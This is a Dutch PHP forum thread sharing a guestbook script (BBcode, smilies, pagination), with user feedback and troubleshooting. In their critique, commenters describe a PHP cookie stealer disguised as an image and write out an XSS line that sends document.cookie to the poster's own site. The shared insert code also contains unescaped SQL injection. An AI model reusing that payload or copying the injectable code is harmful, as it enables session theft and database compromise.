Gevorderd gastenboek
Ik heb een gastenboek geschreven gebaseerd op een nieuws-systeem van mij.
Functies:
*BBcode
*Alternating rij kleuren
*Pagination
*Smilies
Suggesties zijn altijd welkom, en opbouwende kritiek natuurlijk ook;)
Gesponsorde koppelingen
PHP script bestanden
78 reacties op 'Gevorderd gastenboek'
Gesponsorde koppelingen
E-mailadres wordt ook niet gecontroleerd. Probeer deze functie er is in te verwerken:
Of in ieder gavel een functie die kijkt of er voldaan wordt aan een string die op een e-mailadres lijkt (punten en de @).
Edit:
Die iframe ziet er erg grappig uit... :)
Elwin
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function check_email_mx($email) {
// Checks e-mailadress
if((preg_match('/(@.*@)|(\.\.)|(@\.)|(\.@)|(^\.)/',$email)) || (preg_match('/^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,3}|[0-9]{1,3})(\]?)$/',$email))) {
$host = explode('@', $email);
if(checkdnsrr($host[1].'.', 'MX') ) return true;
if(checkdnsrr($host[1].'.', 'A') ) return true;
if(checkdnsrr($host[1].'.', 'CNAME') ) return true;
}
return false;
}
?>
function check_email_mx($email) {
// Checks e-mailadress
if((preg_match('/(@.*@)|(\.\.)|(@\.)|(\.@)|(^\.)/',$email)) || (preg_match('/^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,3}|[0-9]{1,3})(\]?)$/',$email))) {
$host = explode('@', $email);
if(checkdnsrr($host[1].'.', 'MX') ) return true;
if(checkdnsrr($host[1].'.', 'A') ) return true;
if(checkdnsrr($host[1].'.', 'CNAME') ) return true;
}
return false;
}
?>
Of in ieder gavel een functie die kijkt of er voldaan wordt aan een string die op een e-mailadres lijkt (punten en de @).
Edit:
Die iframe ziet er erg grappig uit... :)
Elwin
*
'&' (ampersand) wordt '&'
*
'"' (dubbele quote) wordt '"' wanneer ENT_NOQUOTES niet geactiveerd is.
*
''' (enkele quote) wordt ''' alleen wanneer ENT_QUOTES geactiveerd is.
*
'<' (kleiner dan) wordt '<'
*
'>' (groter dan) wordt '>'
**rip van php.net**
dus html en js gaat niet lukken..
ik heb je script niet echt doorgelezen nog.. maar een paar dingen die soms over het hoofd gezien worden zijn:
als ik een plaatje neer kan zetten, dan kan ik een php script maken, wat je cookies steelt.. (htacces gewoon jpg als php laten parsen, dan eerst een cookie stealer, en dan een plaatje terugsture.. simpel als dat!)
op deze manier is het ook mogelijk onschuldigen te laten mass-posten..
gewoon hetzelfde script als net die cookie stealer een lusje geven, hem data laten posten, klaar!
huib
'&' (ampersand) wordt '&'
*
'"' (dubbele quote) wordt '"' wanneer ENT_NOQUOTES niet geactiveerd is.
*
''' (enkele quote) wordt ''' alleen wanneer ENT_QUOTES geactiveerd is.
*
'<' (kleiner dan) wordt '<'
*
'>' (groter dan) wordt '>'
**rip van php.net**
dus html en js gaat niet lukken..
ik heb je script niet echt doorgelezen nog.. maar een paar dingen die soms over het hoofd gezien worden zijn:
als ik een plaatje neer kan zetten, dan kan ik een php script maken, wat je cookies steelt.. (htacces gewoon jpg als php laten parsen, dan eerst een cookie stealer, en dan een plaatje terugsture.. simpel als dat!)
op deze manier is het ook mogelijk onschuldigen te laten mass-posten..
gewoon hetzelfde script als net die cookie stealer een lusje geven, hem data laten posten, klaar!
huib
Quote:
$result = mysql_query("SELECT id FROM gastenboek");
$aantal = mysql_num_rows($result);
$aantal = mysql_num_rows($result);
Kan je vervangen door:
$result = mysql_query("SELECT COUNT(`id`) FROM gastenboek");
$aantal = mysql_result($result, 0);
De rijen ophalen is zinloos, je gebruikt ze nadien niet meer, dus een count() is sneller én beter :)
Even voor de duidelijkheid: Cookies worden alleen naar adressen gestuurd die op het zelfde domein liggen. Dus ik kan niet hier zomaar een plaatje dumpen en al jullie koekjes proeven. Het kan wel waneer je bijvoorbeeld <img src="" onload="this.src='mijnsite/bestand.php?cookie='+document.cookie"/>, dus javascript kan toepassen. Maar dat kon al niet op jouw site, hij blokkeert " in de url.
ja bedankt
maar bij mij lukt de ubb code niet als ik een smilie invoeg en dan kijk ik naar de berichten staat daar zo iet raars.
dit komt bij men bericht:
test op 26-02-2006 om 13
:o:k<de="0" sc=">ss<r <<">i>b>> < <b>> test< <b>> :ode="0" src="">
http://kljzaffelare.funpic.de/home.php?menu=gastenboek1
maar bij mij lukt de ubb code niet als ik een smilie invoeg en dan kijk ik naar de berichten staat daar zo iet raars.
dit komt bij men bericht:
test op 26-02-2006 om 13
:o:k<de="0" sc=">ss<r <<">i>b>> < <b>> test< <b>> :ode="0" src="">
http://kljzaffelare.funpic.de/home.php?menu=gastenboek1
Geweldig bedankt ik heb hem bij een vriendin opgezet en ga hem nu Duits competable maken :)
SITE
SITE
Ik had ook dit probleem. Ik heb dan maar een andere UBB parser gebruikt en nu werkt het perfect.
dit is functies.php
dit is functies.php
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?
function bbcode($reactie)
{
$reactie = nl2br(htmlspecialchars($reactie));
// Enters V
$reactie = str_replace ("[br]","\n",$reactie);
$reactie = str_replace ("\n","<br>",$reactie);
// Vet, schuin, etc V
$reactie = preg_replace("/\[b\](.+?)\[\/b\]/is",'<strong>\1</strong>', $reactie);
$reactie = preg_replace("/\[i\](.+?)\[\/i\]/is",'<em>\1</em>', $reactie);
$reactie = preg_replace("/\[u\](.+?)\[\/u\]/is",'<u>\1</u>', $reactie);
$reactie = preg_replace("/\[s\](.+?)\[\/s\]/is",'<s>\1</s>', $reactie);
// Marquee
$reactie = str_replace ("[move]", "<div align=\"center\"><marquee width=\"90%\">", $reactie);
$reactie = str_replace ("[/move]", "</marquee></div>", $reactie);
// Color, font & size V
$reactie = preg_replace ("#\[color=(\#[0-9A-F]{6}|[a-z\-]+)\](.*?)\[/color\]#si", "<font color=\"\\1\">\\2</font>", $reactie);
$reactie = preg_replace ("/\[font=(.*)\](.*)\[\/font\]/", "<font face=\"$1\">$2</font>", $reactie);
$reactie = preg_replace ("/\[size=(.*)\](.*)\[\/size\]/", "<font size=\"$1\">$2</font>", $reactie);
// Email toevoegen V
$reactie = preg_replace("/\[email\](.*?)\[\/email\]/si", "<a href=\"mailto:\\1\">\\1</a>",$reactie);
// Plaatje toevoegen V
$reactie = preg_replace("/\[img\](.*?)\[\/img\]/si", "<img src=\"\\1\" border=\"0\">",$reactie);
// Url toevoegen V
$reactie = preg_replace("/\[url\](.*?)\[\/url\]/si", "<a href=\"\\1\" target=\"_blank\">\\1</a>",$reactie);
// Diversen V
$reactie = str_replace ("[tt]", "<tt>", $reactie);
$reactie = str_replace ("[/tt]", "</tt>", $reactie);
$reactie = str_replace ("[left]", "<div align=left>", $reactie);
$reactie = str_replace ("[/left]", "</div>", $reactie);
$reactie = str_replace ("[center]", "<div align=\"center\">", $reactie);
$reactie = str_replace ("[/center]", "</div>", $reactie);
$reactie = str_replace ("[right]", "<div align=\"right\">", $reactie);
$reactie = str_replace ("[/right]", "</div>", $reactie);
$reactie = str_replace ("[sub]", "<sub>", $reactie);
$reactie = str_replace ("[/sub]", "</sub>", $reactie);
$reactie = str_replace ("[sup]", "<sup>", $reactie);
$reactie = str_replace ("[/sup]", "</sup>", $reactie);
$reactie = str_replace ("[fixed]", "<font face=\"Courier New\">", $reactie);
$reactie = str_replace ("[/fixed]", "</font>", $reactie);
$reactie = str_replace ("[[","{{",$reactie);
$reactie = str_replace ("]]","}}",$reactie);
$reactie = str_replace ("|","|",$reactie);
$reactie = str_replace ("[pre]","<pre>",$reactie);
$reactie = str_replace ("[/pre]","</pre>",$reactie);
$reactie = str_replace ("{{","[",$reactie);
$reactie = str_replace ("}}","]",$reactie);
// Horizontale lijn V
$reactie = str_replace ("[hr]","<hr color=\"#000000\" noshade />",$reactie);
// Lijst V
$reactie = str_replace ("[list]","<ul>",$reactie);
$reactie = str_replace ("[*]","<li>",$reactie);
$reactie = str_replace ("[/list]","</li></ul>",$reactie);
// Tabel V
$reactie = str_replace ("[table]","<table class=\"main\">",$reactie);
$reactie = str_replace ("[/table]","</table>",$reactie);
$reactie = str_replace ("[tr]","<tr>",$reactie);
$reactie = str_replace ("[/tr]","</tr>",$reactie);
$reactie = str_replace ("[td]","<td>",$reactie);
$reactie = str_replace ("[/td]","</td>",$reactie);
// Smiley's V
$reactie = str_replace (":p","<img src=\"files/images/smilies/tongue.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":(","<img src=\"files/images/smilies/sad.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":)","<img src=\"files/images/smilies/smile.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":D","<img src=\"files/images/smilies/biggrin.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (";)","<img src=\"files/images/smilies/wink.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":roll","<img src=\"files/images/smilies/rolleyes.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":kiss","<img src=\"files/images/smilies/kiss.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":angry","<img src=\"files/images/smilies/angry.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":cry","<img src=\"files/images/smilies/cry.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":huh","<img src=\"files/images/smilies/huh.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":omg","<img src=\"files/images/smilies/omg.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":cool","<img src=\"files/images/smilies/cool.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
return $reactie;
}
function checkmail($email)
{
if (eregi("^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,4}$",$email))
{
$valid = "true";
}
else
{
$valid = "false";
}
return $valid;
}
?>
function bbcode($reactie)
{
$reactie = nl2br(htmlspecialchars($reactie));
// Enters V
$reactie = str_replace ("[br]","\n",$reactie);
$reactie = str_replace ("\n","<br>",$reactie);
// Vet, schuin, etc V
$reactie = preg_replace("/\[b\](.+?)\[\/b\]/is",'<strong>\1</strong>', $reactie);
$reactie = preg_replace("/\[i\](.+?)\[\/i\]/is",'<em>\1</em>', $reactie);
$reactie = preg_replace("/\[u\](.+?)\[\/u\]/is",'<u>\1</u>', $reactie);
$reactie = preg_replace("/\[s\](.+?)\[\/s\]/is",'<s>\1</s>', $reactie);
// Marquee
$reactie = str_replace ("[move]", "<div align=\"center\"><marquee width=\"90%\">", $reactie);
$reactie = str_replace ("[/move]", "</marquee></div>", $reactie);
// Color, font & size V
$reactie = preg_replace ("#\[color=(\#[0-9A-F]{6}|[a-z\-]+)\](.*?)\[/color\]#si", "<font color=\"\\1\">\\2</font>", $reactie);
$reactie = preg_replace ("/\[font=(.*)\](.*)\[\/font\]/", "<font face=\"$1\">$2</font>", $reactie);
$reactie = preg_replace ("/\[size=(.*)\](.*)\[\/size\]/", "<font size=\"$1\">$2</font>", $reactie);
// Email toevoegen V
$reactie = preg_replace("/\[email\](.*?)\[\/email\]/si", "<a href=\"mailto:\\1\">\\1</a>",$reactie);
// Plaatje toevoegen V
$reactie = preg_replace("/\[img\](.*?)\[\/img\]/si", "<img src=\"\\1\" border=\"0\">",$reactie);
// Url toevoegen V
$reactie = preg_replace("/\[url\](.*?)\[\/url\]/si", "<a href=\"\\1\" target=\"_blank\">\\1</a>",$reactie);
// Diversen V
$reactie = str_replace ("[tt]", "<tt>", $reactie);
$reactie = str_replace ("[/tt]", "</tt>", $reactie);
$reactie = str_replace ("[left]", "<div align=left>", $reactie);
$reactie = str_replace ("[/left]", "</div>", $reactie);
$reactie = str_replace ("[center]", "<div align=\"center\">", $reactie);
$reactie = str_replace ("[/center]", "</div>", $reactie);
$reactie = str_replace ("[right]", "<div align=\"right\">", $reactie);
$reactie = str_replace ("[/right]", "</div>", $reactie);
$reactie = str_replace ("[sub]", "<sub>", $reactie);
$reactie = str_replace ("[/sub]", "</sub>", $reactie);
$reactie = str_replace ("[sup]", "<sup>", $reactie);
$reactie = str_replace ("[/sup]", "</sup>", $reactie);
$reactie = str_replace ("[fixed]", "<font face=\"Courier New\">", $reactie);
$reactie = str_replace ("[/fixed]", "</font>", $reactie);
$reactie = str_replace ("[[","{{",$reactie);
$reactie = str_replace ("]]","}}",$reactie);
$reactie = str_replace ("|","|",$reactie);
$reactie = str_replace ("[pre]","<pre>",$reactie);
$reactie = str_replace ("[/pre]","</pre>",$reactie);
$reactie = str_replace ("{{","[",$reactie);
$reactie = str_replace ("}}","]",$reactie);
// Horizontale lijn V
$reactie = str_replace ("[hr]","<hr color=\"#000000\" noshade />",$reactie);
// Lijst V
$reactie = str_replace ("[list]","<ul>",$reactie);
$reactie = str_replace ("[*]","<li>",$reactie);
$reactie = str_replace ("[/list]","</li></ul>",$reactie);
// Tabel V
$reactie = str_replace ("[table]","<table class=\"main\">",$reactie);
$reactie = str_replace ("[/table]","</table>",$reactie);
$reactie = str_replace ("[tr]","<tr>",$reactie);
$reactie = str_replace ("[/tr]","</tr>",$reactie);
$reactie = str_replace ("[td]","<td>",$reactie);
$reactie = str_replace ("[/td]","</td>",$reactie);
// Smiley's V
$reactie = str_replace (":p","<img src=\"files/images/smilies/tongue.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":(","<img src=\"files/images/smilies/sad.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":)","<img src=\"files/images/smilies/smile.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":D","<img src=\"files/images/smilies/biggrin.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (";)","<img src=\"files/images/smilies/wink.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":roll","<img src=\"files/images/smilies/rolleyes.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":kiss","<img src=\"files/images/smilies/kiss.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":angry","<img src=\"files/images/smilies/angry.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":cry","<img src=\"files/images/smilies/cry.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":huh","<img src=\"files/images/smilies/huh.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":omg","<img src=\"files/images/smilies/omg.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
$reactie = str_replace (":cool","<img src=\"files/images/smilies/cool.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">",$reactie);
return $reactie;
}
function checkmail($email)
{
if (eregi("^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,4}$",$email))
{
$valid = "true";
}
else
{
$valid = "false";
}
return $valid;
}
?>
waar kan je de plaatjes downloaden?????
zet het ff d'r op.
Code (php)
1
2
3
2
3
<?php
echo "<img src=\"images/smilies/tongue.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">";
?>
echo "<img src=\"images/smilies/tongue.gif\" style=\"margin: 1px; \" alt=\"Emoticon\">";
?>
zet het ff d'r op.
bericht.php:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Bericht</title>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
<script src="scripts.js" type="text/javascript"></script>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
</body>
</html>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Bericht</title>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
<script src="scripts.js" type="text/javascript"></script>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
// Database gegevens includen.
include('dbconnect.php');
// Include de functies (BBcode, Mailcheck).
include('functies.php');
// Als het formulier is verzonden, voeg reactie toe in database.
if($_POST['submit']) {
sleep(5);
// Als auteur leeg is, auteur is anoniem.
if(empty($_POST['auteur'])) {
$auteur = "Anoniem";
}
else {
$auteur = htmlspecialchars($_POST['auteur']);
}
// Als er geen reactie is geschreven, geef melding en vermoord script.
if(empty($_POST['bericht'])) {
echo "Je moet een bericht schrijven! Klik <a href=\"gastenboek.php\">hier</a> om terug te gaan";
die();
}
else {
$bericht = bbcode($_POST['bericht']);
}
// Check of het email adres klopt.
if(checkmail($_POST['email']) == "true") {
$email = $_POST['email'];
}
else {
echo "Je hebt een vals email adres ingevuld! Klik <a href=\"gastenboek.php\">hier</a> om terug te gaan";
die();
}
$ip = $_POST['ip'];
$datum = date("d-m-Y");
$tijd = date("H:i:s");
$datumtijd = "".$datum." om ".$tijd."";
// De mysql query om de reactie in db te zetten.
$insert = mysql_query("INSERT INTO gastenboek (ip, auteur, bericht, email, datum) VALUES ('$ip', '$auteur', '$bericht', '$email', '$datumtijd')");
// Als $insert lukt, geef melding, anders geef error
if($insert) {
echo "Uw bericht is succesvol toegevoegd, klik <a href=\"gastenboek.php\">hier</a> om terug te gaan";
}
else {
echo "Er is iets misgegaan, uw bericht is niet toegevoegd";
}
}
?>
// Database gegevens includen.
include('dbconnect.php');
// Include de functies (BBcode, Mailcheck).
include('functies.php');
// Als het formulier is verzonden, voeg reactie toe in database.
if($_POST['submit']) {
sleep(5);
// Als auteur leeg is, auteur is anoniem.
if(empty($_POST['auteur'])) {
$auteur = "Anoniem";
}
else {
$auteur = htmlspecialchars($_POST['auteur']);
}
// Als er geen reactie is geschreven, geef melding en vermoord script.
if(empty($_POST['bericht'])) {
echo "Je moet een bericht schrijven! Klik <a href=\"gastenboek.php\">hier</a> om terug te gaan";
die();
}
else {
$bericht = bbcode($_POST['bericht']);
}
// Check of het email adres klopt.
if(checkmail($_POST['email']) == "true") {
$email = $_POST['email'];
}
else {
echo "Je hebt een vals email adres ingevuld! Klik <a href=\"gastenboek.php\">hier</a> om terug te gaan";
die();
}
$ip = $_POST['ip'];
$datum = date("d-m-Y");
$tijd = date("H:i:s");
$datumtijd = "".$datum." om ".$tijd."";
// De mysql query om de reactie in db te zetten.
$insert = mysql_query("INSERT INTO gastenboek (ip, auteur, bericht, email, datum) VALUES ('$ip', '$auteur', '$bericht', '$email', '$datumtijd')");
// Als $insert lukt, geef melding, anders geef error
if($insert) {
echo "Uw bericht is succesvol toegevoegd, klik <a href=\"gastenboek.php\">hier</a> om terug te gaan";
}
else {
echo "Er is iets misgegaan, uw bericht is niet toegevoegd";
}
}
?>
</body>
</html>
je hebt geen plaatjes in de map waar de plaatjes moeten staan geplaatst. Wanneer je iets hebt ingevoerd en hij vind het plaatje niet zal hij dus de alternatieve tekst weergeven Emoticon. Grote kans dat wanneer je plaatjes bij elkaar zoekt en deze de juiste bestandsnaam geeft je smiley's wel werken!
Succes!
Succes!
Ok bedankt. Ik ben erachter, de smiles moeten in 2 mappen staan. Ze doen het nu wel. Maar alleen als je de 'code' invoert. Het werkt nog niet als je op de smile klikt, dat ze dan in de tekst komen te staan. Enig idee hoe dat komt?
http://brefriends.nl/gastenboek.php
http://brefriends.nl/gastenboek.php
Dit script gaat problemen opleveren wanneer je iets met datums wilt gaan doen:
Dit heeft natuurlijk niets met een datum te maken wanneer je dit zo in de database gaat wegschrijven. Ga bv. maar eens sorteren op datum, dit zal de meest bijzondere resultaten opleveren.
Een datum sla je op in een DATE en NOOIT, maar dan ook helemaal NOOIT in een VARCHAR. En omdat DATE het iso-formaat gebruikt, moet je dus yyyy-mm-dd als formaat hanteren. Maar omdat rekenen met datums zo'n beetje standaard database-werk is, hebben ze daar de functie NOW() voor in het leven geroepen, zie de handleiding van MySQL (hoofdstuk 12.5).
Dit heeft natuurlijk niets met een datum te maken wanneer je dit zo in de database gaat wegschrijven. Ga bv. maar eens sorteren op datum, dit zal de meest bijzondere resultaten opleveren.
Een datum sla je op in een DATE en NOOIT, maar dan ook helemaal NOOIT in een VARCHAR. En omdat DATE het iso-formaat gebruikt, moet je dus yyyy-mm-dd als formaat hanteren. Maar omdat rekenen met datums zo'n beetje standaard database-werk is, hebben ze daar de functie NOW() voor in het leven geroepen, zie de handleiding van MySQL (hoofdstuk 12.5).
Mooi script, maar volgens mij toch een paar kleine onvolkomenheden.
1. BB-codes werken bij mij niet (mijn fout?). In de posts zie ik dat er een alternatieve functies.php moet worden gebruikt. Tip aan Chris: pas dit zo aan in de oorspronkelijke functies.php, dat is voor volgende gebruikers makkelijker.
2. Frank schrijft dat voor de datum een type DATE moet worden gebruikt. Volgens mij is dat correct, maar hoe doe je de conversie dan? (BTW bij het ophalen van de berichten wordt er nu gesorteerd op datum, maar nu is de datum opgeslagen in een tekstveld, wat dan tot rare resultaten leidt: 16-10-2006 staat boven 2-11-2006 staat boven 1-8-2005...). Volgens mij leidt dit namelijk wel tot wat wijzigingen links en rechts: het tijdstip moet ook worden opgeslagen (is dit een extra veld in de database?) en bij het ophalen van de data moet dan een vertaalslag worden gemaakt om te komen tot 'dd-mm-yyyy om hh:mm:ss'. Kan iemand een php-newbee hiermee op weg helpen?
Voor de rest nogmaals de complimenten voor het mooie script, mijn bovenstaande puntjes zijn voor mij slechts de puntje op de i.
1. BB-codes werken bij mij niet (mijn fout?). In de posts zie ik dat er een alternatieve functies.php moet worden gebruikt. Tip aan Chris: pas dit zo aan in de oorspronkelijke functies.php, dat is voor volgende gebruikers makkelijker.
2. Frank schrijft dat voor de datum een type DATE moet worden gebruikt. Volgens mij is dat correct, maar hoe doe je de conversie dan? (BTW bij het ophalen van de berichten wordt er nu gesorteerd op datum, maar nu is de datum opgeslagen in een tekstveld, wat dan tot rare resultaten leidt: 16-10-2006 staat boven 2-11-2006 staat boven 1-8-2005...). Volgens mij leidt dit namelijk wel tot wat wijzigingen links en rechts: het tijdstip moet ook worden opgeslagen (is dit een extra veld in de database?) en bij het ophalen van de data moet dan een vertaalslag worden gemaakt om te komen tot 'dd-mm-yyyy om hh:mm:ss'. Kan iemand een php-newbee hiermee op weg helpen?
Voor de rest nogmaals de complimenten voor het mooie script, mijn bovenstaande puntjes zijn voor mij slechts de puntje op de i.
Bedankt voor dit gastenboek! Ik heb hem op mijn site gezet en zelf aangepast qua layout, en hij werkt prima!
Er is echter één prbleempje: Zodra iemand een bericht in het gastenboek zet waar een 't (apostroph+t) in voorkomt, geeft het gastenboek een foutmelding. Omdat mijn website in een Nederlands dialect is waar " 't " vaak wordt gebruikt, is het voor mijn gastenboek belangrijk dat de gasten het kunnen gebruiken. Hoe regel ik dat?
Ik ben er al achter dat de code voor een apostroph ' is en heb geprobeerd het toe te voegen aan functies.php (waar ik denk dat het hoort), maar dat liep niet helemaal goed af.
Zou een meer ervaren php-er mij kunnen helpen?
Alvast hartelijk dank!
O ja en dan nog iets: Een admin zou een mooie aanvulling zijn op dit gastenboek. Is het mogelijk om dit op een eenvoudig manier te maken?
Er is echter één prbleempje: Zodra iemand een bericht in het gastenboek zet waar een 't (apostroph+t) in voorkomt, geeft het gastenboek een foutmelding. Omdat mijn website in een Nederlands dialect is waar " 't " vaak wordt gebruikt, is het voor mijn gastenboek belangrijk dat de gasten het kunnen gebruiken. Hoe regel ik dat?
Ik ben er al achter dat de code voor een apostroph ' is en heb geprobeerd het toe te voegen aan functies.php (waar ik denk dat het hoort), maar dat liep niet helemaal goed af.
Zou een meer ervaren php-er mij kunnen helpen?
Alvast hartelijk dank!
O ja en dan nog iets: Een admin zou een mooie aanvulling zijn op dit gastenboek. Is het mogelijk om dit op een eenvoudig manier te maken?
mensen, zorg dat je die javascript goed geinclude hebt hé...
dan moet hij gewoon zeker werken.. dus:
<script src="scripts.js" type="text/javascript"></script>
verder vind ik het echt een moooi gastenboek, werkt mooi bij mij, zonder problemen, voor een voorbeeld kijk maar eens hier:
http://weaselweb.nl/gb/bericht.php
verder heb ik er niets op aan te merken... mooi script en werkt goed bij mij..
En jelle, smilies moet je zelf voor zorgen ;)
dan moet hij gewoon zeker werken.. dus:
<script src="scripts.js" type="text/javascript"></script>
verder vind ik het echt een moooi gastenboek, werkt mooi bij mij, zonder problemen, voor een voorbeeld kijk maar eens hier:
http://weaselweb.nl/gb/bericht.php
verder heb ik er niets op aan te merken... mooi script en werkt goed bij mij..
En jelle, smilies moet je zelf voor zorgen ;)
Hoe doe je dat met datetime in plaats van varchar? Gewoon datetime neerzetten overal waar nu varchar staat? Want ook bij mij stan de berichtjes door elkaar, en ik heb er niet zelf berichten aan toegevoegd...
Ik zou het leuk vinden als ik dat kon fixen maar helaas heb ik te weinig verstand van php. Al is het me wel gelukt om smileys toe te voegen aan mijn gastenboek.
Iemand nog een oplossing voor mijn " 't "probleem?Elke keer als iemand " 't " schrijft, wordt het bericht niet geaccepteerd. Moet ik iets toevoegen aan de code om dat te voorkomen? En zo ja: hoe en wat?
Groetjes Resie
Ik zou het leuk vinden als ik dat kon fixen maar helaas heb ik te weinig verstand van php. Al is het me wel gelukt om smileys toe te voegen aan mijn gastenboek.
Iemand nog een oplossing voor mijn " 't "probleem?Elke keer als iemand " 't " schrijft, wordt het bericht niet geaccepteerd. Moet ik iets toevoegen aan de code om dat te voorkomen? En zo ja: hoe en wat?
Groetjes Resie
Hallo, ik ben hier net nieuw en heb al een vraagje ;-)
ik heb deze code aan een vriend gegeven (ook zelf gebruik ik hem) maar bij hem staan er al meer dan 10 berichten in zijn database, maar als hij dan bovenaan naar pagina 2 wilt gaan vind de server die pagina niet :s wat kan ik daartegen doen?
EDIT: heb de fout al gevonden :) had een misse link gezet naar de paginas :) wel tof scriptje.. alleen zou ik wel de smiles erbij zetten.. (heb ze nu wel zelf gezocht)
ik heb deze code aan een vriend gegeven (ook zelf gebruik ik hem) maar bij hem staan er al meer dan 10 berichten in zijn database, maar als hij dan bovenaan naar pagina 2 wilt gaan vind de server die pagina niet :s wat kan ik daartegen doen?
EDIT: heb de fout al gevonden :) had een misse link gezet naar de paginas :) wel tof scriptje.. alleen zou ik wel de smiles erbij zetten.. (heb ze nu wel zelf gezocht)
Goed gastenboek, het enigste wat jammer is dat er geen klein adminpannel o.i.d. bij zit, echter ga ik me binnenkort een beetje verdiepen in PHP en ga ik dit proberen te realiseren voor mezelf.
Nu heb ik 1 vraagje, zie http://perkele.nl/drc/gastenboek.php .. als je een smily aanklikt verschijnt deze niet in het textveld, doe ik iets fout?
Ik heb alle bestanden behalve gastenboek.php verplaatst naar /functies/ folder op mijn server, ik heb in alle pagina's een correct verwijzing gemaakt naar de correcte mappings ... doe ik dan toch iets verkeerd? Zoja, kunnen jullie me vertellen wat?
Alvast bedankt voor de moeite ..
Groetjes,
Patrick
Nu heb ik 1 vraagje, zie http://perkele.nl/drc/gastenboek.php .. als je een smily aanklikt verschijnt deze niet in het textveld, doe ik iets fout?
Ik heb alle bestanden behalve gastenboek.php verplaatst naar /functies/ folder op mijn server, ik heb in alle pagina's een correct verwijzing gemaakt naar de correcte mappings ... doe ik dan toch iets verkeerd? Zoja, kunnen jullie me vertellen wat?
Alvast bedankt voor de moeite ..
Groetjes,
Patrick
patrick schreef: als je een smily aanklikt verschijnt deze niet in het textveld
dat probleem heb ik dus ook.... hoe kan dat? de BBcode werkt wel als ik bijvoorbeeld gewoon :D invoer in het tekstveld. Maar het werkt niet om op de afbeeldingen te klikken en dán de smiley te zien krijgen in het geplaatste bericht. (verder een uitstekend script!)
dat probleem heb ik dus ook.... hoe kan dat? de BBcode werkt wel als ik bijvoorbeeld gewoon :D invoer in het tekstveld. Maar het werkt niet om op de afbeeldingen te klikken en dán de smiley te zien krijgen in het geplaatste bericht. (verder een uitstekend script!)
Om te reageren heb je een account nodig en je moet ingelogd zijn.
- Details
Door:
Chris- 8 jaar geleden
- 1.154 x bekeken
- Labels
- Geen tags toegevoegd.
- PHP scripts opties
- Gastenboeken / Fora
- Nieuwste PHP scripts
